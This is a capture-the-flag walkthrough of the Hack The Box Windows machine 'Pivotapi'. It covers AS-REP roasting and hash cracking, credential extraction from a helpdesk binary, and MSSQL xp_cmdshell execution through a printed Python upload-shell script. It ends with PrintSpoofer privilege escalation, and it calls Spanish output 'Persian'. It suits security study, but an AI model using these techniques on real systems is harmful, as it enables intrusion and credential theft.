Introduction@Pivotapi:~$
| Column | Details |
|---|---|
| Name | Pivotapi |
| IP | 10.10.10.240 |
| Points | 50 |
| Os | Windows |
| Difficulty | Insane |
| Creator | CyberVaca & 3v4Si0N |
| Out On | 08 May 2021 |
Pwned
Recon
Nmap
┌───[us-free-1]─[10.10.14.3]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ nmap -sC -sV -oA nmap/result 10.10.10.240
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-12 23:11 CDT
Nmap scan report for 10.10.10.240
Host is up (0.084s latency).
Not shown: 986 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
| 02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20 01:18PM 219091 notes1.pdf
| 08-08-20 01:34PM 279445 notes2.pdf
| 08-08-20 01:41PM 105 README.txt
|_02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
| 256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_ 256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-05-13 04:12:09Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: LICORDEBELLOTA
| NetBIOS_Domain_Name: LICORDEBELLOTA
| NetBIOS_Computer_Name: PIVOTAPI
| DNS_Domain_Name: LicorDeBellota.htb
| DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
| DNS_Tree_Name: LicorDeBellota.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-05-13T04:06:57
|_Not valid after: 2051-05-13T04:06:57
|_ssl-date: 2021-05-13T04:12:54+00:00; +3s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2s, deviation: 0s, median: 2s
| ms-sql-info:
| 10.10.10.240:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-05-13T04:12:17
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.05 seconds
There is bunch of ports open.
Let's first start with ftp
FTP
There is a lot of pdf files.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/ftp]
└──╼ [★]$ ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,100).
125 Data connection already open; Transfer starting.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> mget *
Let's first cat the README.txt file.
It's said that change the download mode into binary so no files will be corrupted.
Let's download all files again in binary mode.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/ftp]
└──╼ [★]$ ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,149).
150 Opening ASCII mode data connection.
02-19-21 03:06PM 103106 10.1.1.414.6453.pdf
02-19-21 03:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21 12:55PM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21 03:06PM 1018160 ExploitingSoftware-Ch07.pdf
08-08-20 01:18PM 219091 notes1.pdf
08-08-20 01:34PM 279445 notes2.pdf
08-08-20 01:41PM 105 README.txt
02-19-21 03:06PM 1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
After analizing all the files i found nothing so let's check the metadata of one of the file with exiftool.
We found the username. let's collect all usernames for every files.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/ftp]
└──╼ [★]$ exiftool * | egrep -i "Creator|Author" | awk '{print $3}'
Microsoft
Unknown
saif
Microsoft®
byron
:
byron
cairo
Kaorz
:
alex
alex
Let's save all these username into a file called user.lst.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ cat user.lst
Microsoft
Unknown
saif
Microsoft®
byron
byron
cairo
Kaorz
alex
alex
Now we have the users list let's check the Kerberos preauthentication check.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -usersfile user.lst LicorDeBellota/
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$Kaorz@LICORDEBELLOTA:27b3349940bbeb5a2c96374dc1e4e25b$ddd8d8991d1461c49db16544b9f6b9319dba02124d8949b8d6952168d6e42fa2b7604392e2f90424b2b2608acc5e1ef80d75b830a0775701ab7360831acf0a7ba59fe0169ca031cd8619939f40c7456264a14fcb53599b9308e976ac4792d678913a56b6cf59dac1c3d35ee1213b16b74117b73ba63c3d3c5270ae974d47cbd908ef3531e641bdb0d165f61288a24a000b5c099f1331cf32b94a4f0a3c8ae295ed71be38be1a90fec0e801337d188d0a23218b18abc87d535b34872dc5d3cb0f74783e997bee4bbe089e83a61951928f54c58b616ded955da935b839d9ef0b5c5a6a204bd87961273e4b7a2ad9ad4037825ca2e7
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
We got the hash of Kaorz user let's try to crack this hash with john.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ vim hash
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ john hash -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Roper4155 ($krb5asrep$23$Kaorz@LICORDEBELLOTA)
1g 0:00:00:11 DONE (2021-05-12 23:39) 0.08517g/s 908865p/s 908865c/s 908865C/s Roybel01..Ronald8
Use the "--show" option to display all of the cracked passwords reliably
Session completed
We have the username and a password Roper4155 let's check the smb share if we have access of any shares.
I use crackmapexec for that.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ crackmapexec smb 10.10.10.240 -u Kaorz -p Roper4155 --shares
SMB 10.10.10.240 445 PIVOTAPI [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB 10.10.10.240 445 PIVOTAPI [+] LicorDeBellota.htb\Kaorz:Roper4155
SMB 10.10.10.240 445 PIVOTAPI [+] Enumerated shares
SMB 10.10.10.240 445 PIVOTAPI Share Permissions Remark
SMB 10.10.10.240 445 PIVOTAPI ----- ----------- ------
SMB 10.10.10.240 445 PIVOTAPI ADMIN$ Admin remota
SMB 10.10.10.240 445 PIVOTAPI C$ Recurso predeterminado
SMB 10.10.10.240 445 PIVOTAPI IPC$ READ IPC remota
SMB 10.10.10.240 445 PIVOTAPI NETLOGON READ Recurso compartido del servidor de inicio de sesión
SMB 10.10.10.240 445 PIVOTAPI SYSVOL READ Recurso compartido del servidor de inicio de sesión
We have read access of three shares. let's check the NETLOGON first.
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk]
└──╼ [★]$ smbclient //10.10.10.240/NETLOGON -U kaorz%Roper4155
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sat Aug 8 05:42:28 2020
.. D 0 Sat Aug 8 05:42:28 2020
HelpDesk D 0 Sun Aug 9 10:40:36 2020
7779839 blocks of size 4096. 3497512 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
. D 0 Sun Aug 9 10:40:36 2020
.. D 0 Sun Aug 9 10:40:36 2020
Restart-OracleService.exe A 1854976 Fri Feb 19 04:52:01 2021
Server MSSQL.msg A 24576 Sun Aug 9 06:04:14 2020
WinRM Service.msg A 26112 Sun Aug 9 06:42:20 2020
7779839 blocks of size 4096. 3497512 blocks available
We have three files in the HelpDesk Directory let's get these all files into our system.
smb: \HelpDesk\> get Restart-OracleService.exe
getting file \HelpDesk\Restart-OracleService.exe of size 1854976 as Restart-OracleService.exe (338.5 KiloBytes/sec) (average 338.5 KiloBytes/sec)
smb: \HelpDesk\> get "Server MSSQL.msg"
getting file \HelpDesk\Server MSSQL.msg of size 24576 as Server MSSQL.msg (67.6 KiloBytes/sec) (average 321.7 KiloBytes/sec)
smb: \HelpDesk\> get "WinRM Service.msg"
getting file \HelpDesk\WinRM Service.msg of size 26112 as WinRM Service.msg (71.8 KiloBytes/sec) (average 307.0 KiloBytes/sec)
smb: \HelpDesk\> ^C
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk]
└──╼ [★]$ ls
Restart-OracleService.exe 'Server MSSQL.msg' 'WinRM Service.msg'
Now for extracting the text inside .msg file we need msgconvert let's first install that.
sudo apt-get install libemail-outlook-message-perl libemail-sender-perl
Now let's extract the text inside .msg file.
msgconvert Server\ MSSQL.msg
Server MSSQL.msg
Date: Sun, 09 Aug 2020 11:04:14 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208820270.2cBBDf6.24456
Content-Transfer-Encoding: 7bit
Subject: Server MSSQL
To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>
Good afternoon,
Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020.
Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.
Any doubt do not hesitate to contact us.
Greetings,
The HelpDesk Team
WinRM Service.msg
Date: Sun, 09 Aug 2020 11:42:20 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208825850.f7f5B6.27939
Content-Transfer-Encoding: 7bit
Subject: WinRM Service
To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>
Good afternoon.
After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.)
Greetings,
The HelpDesk Team
Now afer reading the both messages i known that Due to some problems by Oracle database installed in 2010 they migrate to MSSQL at the beginning of 2020.
And they also said that there was a problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.
It's mean that the "Reset-Service.exe" has creads for Oracle database becuase it's need to login into oracle database and without creads it can't be possible.
And the other message tell that they stop externally displaying WinRM's service and they also created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output So that no shells of the type icmp are used.
Now let's go to my Commando-VM and analize the binary.
I already transfer the binary into my Commando-VM.
First let's monitor the binary with procmon so we known that what's the binary doing.
If you analize the output you find that the binary create a file inside "AppData\Local\Temp\" directory with the random name everytime and then it's delete the bat file.
So for getting that random bat file we need to stop the binary before it's delete that bat file So for that i use CMDWatcher.
Link : CMD Watcher
Select the Interactive mode and then start the monitoring and then execute the binary.
Click resume the process.
You got the bat file location go to that location in your file manager.
Copy both file into your desktop in any folder.
I copy both files inside my desktop/files folder and then resume the process.
Now let's analize the bat file.
The bat file has encrypted text which he store in c:\programdata\oracle.txt file and from that file they start the for loop which remove the spaces and write the output inside restart-service.exe binary and then delete all the files with restart-service.exe.
And we also need that file restart-service.exe because it's contain the creads of oracle-DB.
So for that we need to edit the bat file so they don't remove any file or binary.
Step 1
Remove all these if statement.
And add "goto correcto".
Step 2
Now in bottom of the file remove these del statements.
After removing the del statements they look like this.
Now we good to go open a cmd and run that bat file to create the restart-service.exe.
COMMANDO Fri 05/14/2021 7:41:07.78
C:\Users\DEDSEC\Desktop\files>dir
Volume in drive C has no label.
Volume Serial Number is 7EAC-CBDE
Directory of C:\Users\DEDSEC\Desktop\files
05/14/2021 07:25 AM <DIR> .
05/14/2021 07:25 AM <DIR> ..
05/14/2021 07:39 AM 1,729,970 542B.bat
05/14/2021 07:22 AM 0 542C.tmp
2 File(s) 1,729,970 bytes
2 Dir(s) 113,196,924,928 bytes free
COMMANDO Fri 05/14/2021 7:41:09.00
C:\Users\DEDSEC\Desktop\files>.\542B.bat
COMMANDO Fri 05/14/2021 7:41:59.20
C:\Users\DEDSEC\Desktop\files>
Now let's check if restart-service.exe is created or not.
And we got the restart-service.exe. I use API Monitor for analize this binary.
Link : API Monitor
Check all API filters on the left side.
Now click on monitor new process and select the binary called restart-service.exe.
Now we capture all the proccess and calls so let's analize this.
Found the username and password.
#Time of Day Thread Module API Return Value Error Duration
CreateProcessWithLogonW ( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000234e120, 0x0000000003f61c68 ) FALSE 1326 = The user name or password is incorrect.
svc_oracle:#oracle_s3rV1c3!2010
Now if you see nmap result there is a mssql port open let's try to connect with that.
┌───[us-free-1]─[10.10.14.3]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ mssqlclient.py -port 1433 svc_oracle@10.10.10.240
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Login failed for user 'svc_oracle'.
Login failed! it's mean the username and password is not correct.
After that i read the Server MSSQL.msg again and i found that now they using mssql not oracle so we need to change the password from #oracle_s3rV1c3!2010 to #mssql_s3rV1c3!2020 because they migrate to MSSQL at the beginning of 2020.
And for the username i search on google for default mssql username and i found that.
So now the creads are sa:#mssql_s3rV1c3!2020 so now let's try to login with these creads.
┌───[us-free-1]─[10.10.14.3]─[root@parrot]─[~/Desktop/HTB/pivotapi]
└──╼ [★]$ mssqlclient.py -port 1433 sa@10.10.10.240
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
SQL>
If we type help we can see that we can execute the xp_cmdshell {cmd} command let's try that.
SQL> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
! {cmd} - executes a local shell cmd
SQL> xp_cmdshell whoami
output
--------------------------------------------------------------------------------
nt service\mssql$sqlexpress
NULL
SQL>
We can execute command let's check the privileges we have.
SQL> xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
INFORMACIÓN DE PRIVILEGIOS
--------------------------
NULL
Nombre de privilegio Descripción Estado
============================= ================================================= =============
SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado
SeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso Deshabilitado
SeMachineAccountPrivilege Agregar estaciones de trabajo al dominio Deshabilitado
SeChangeNotifyPrivilege Omitir comprobación de recorrido Habilitada
SeManageVolumePrivilege Realizar tareas de mantenimiento del volumen Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticación Habilitada
SeCreateGlobalPrivilege Crear objetos globales Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
NULL
SQL>
It's output in persian language let's translate it.
Privilege name Description State
============================= ================================================= =============
SeAssignPrimaryTokenPrivilege Replace a process-level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to the domain Disabled
SeChangeNotifyPrivilege Skip walkthrough check Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase the workspace of a process Disabled
We have SeImpersonatePrivilege enabled let's try to privilege-escalation with this.
Link : PrintSpoofer
But the problem is we can't transfer this file directly because firewall blocks all connections.
So i search on google for script that will login us in mssql and we can also upload files inside that and i found a python script.
Link : Mssql_Shell.py
I edit the script because when we use UPLOAD command it's break.
#!/usr/bin/env python
from __future__ import print_function
import _mssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass
from base64 import encodebytes
MSSQL_SERVER="10.10.10.240"
MSSQL_USERNAME = "sa"
MSSQL_PASSWORD = "#mssql_s3rV1c3!2020"
BUFFER_SIZE = 5*1024
TIMEOUT = 30
def process_result(mssql):
username = ""
computername = ""
cwd = ""
rows = list(mssql)
for row in rows[:-3]:
columns = list(row)
if row[columns[-1]]:
print(row[columns[-1]])
else:
print()
if len(rows) >= 3:
(username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
cwd = rows[-2][list(rows[-3])[-1]]
return (username.rstrip(), computername.rstrip(), cwd.rstrip())
def upload(mssql, stored_cwd, local_path, remote_path):
print("Uploading "+local_path+" to "+remote_path)
cmd = 'type nul > "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
with open(local_path, 'rb') as f:
data = f.read()
md5sum = hashlib.md5(data).hexdigest()
b64enc_data = b"".join(base64.b64encode(data).split()).decode()
print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
#print("Remaining: "+str(len(b64enc_data)-i))
cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
process_result(mssql)
cmd = 'certutil -hashfile "' + remote_path + '" MD5'
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
print("MD5 hashes match: " + md5sum)
else:
print("ERROR! MD5 hashes do NOT match!")
def shell():
mssql = None
stored_cwd = None
try:
mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)
print("Trying to enable xp_cmdshell ...")
mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")
cmd = 'echo %username%^|%COMPUTERNAME% & cd'
mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd
while True:
cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
if not cmd:
cmd = "call" # Dummy cmd command
if cmd.lower()[0:4] == "exit":
mssql.close()
return
elif cmd[0:6] == "UPLOAD":
upload_cmd = shlex.split(cmd, posix=False)
if len(upload_cmd) < 3:
upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
else:
upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
(username, computername, cwd) = process_result(mssql)
stored_cwd = cwd
except _mssql.MssqlDatabaseException as e:
if e.severity <= 16:
print("MSSQL failed: "+str(e))
else:
raise
finally:
if mssql:
mssql.close()
shell()
sys.exit()
Now let's run the script.
┌───[us-free-1]─[10.10.14.3]─[root@parrot]─[/opt/printspoofer]
└──╼ [★]$ python dedsec.py
/opt/printspoofer/dedsec.py:3: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3, and in 3.10 it will stop working
import _mssql
Successful login: sa@10.10.10.240
Trying to enable xp_cmdshell ...
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> whoami
nt service\mssql$sqlexpress
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32>
We got the shell now let's try to UPLOAD the file inside TEMP directory.
┌───[us-free-1]─[10.10.14.3]─[root@parrot]─[/opt/printspoofer]
└──╼ [★]$ python dedsec.py
/opt/printspoofer/dedsec.py:2: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated since Python 3.3, and in 3.10 it will stop working
import _mssql
Successful login: sa@10.10.10.240
Trying to enable xp_cmdshell ...
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> cd /temp
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> UPLOAD PrintSpoofer.exe C:\TEMP\printspoofer.exe
Uploading PrintSpoofer.exe to C:\TEMP\printspoofer.exe
Data length (b64-encoded): 35.3359375KB
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 40.0/40.0 [00:01<00:00, 24.50KB/s]
Longitud de entrada = 36208
EncodeToFile devolvi¾ Este archivo ya existe. 0x80070050 (WIN32: 80 ERROR_FILE_EXISTS)
CertUtil: -decode error del comando: 0x80070050 (WIN32: 80 ERROR_FILE_EXISTS)
CertUtil: Este archivo ya existe.
MD5 hashes match: 755af01d6f1c793d28275ec8b914687c
*** UPLOAD PROCEDURE FINISHED ***
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp>
Now let's run the binary and get our user.txt and root.txt.
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\Users\3v4Si0N\Desktop\user.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
4855ef51169f74e4d5d79befd933d719
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp>
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\users\cybervaca\Desktop\root.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
b32c5e3ee389ee920f6aa1efa025048d
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp>
And we pwned it …….
If u liked the writeup.Support a Student to Get the OSCP-Cert
Donation for OSCP
Resources
| Topic | Url |
|---|---|
| CMD Watcher | https://www.kahusecurity.com/tools.html |
| API Monitor | http://www.rohitab.com/apimonitor |
| PrintSpoofer | https://github.com/dievus/printspoofer |
| Mssql_Shell.py | https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py |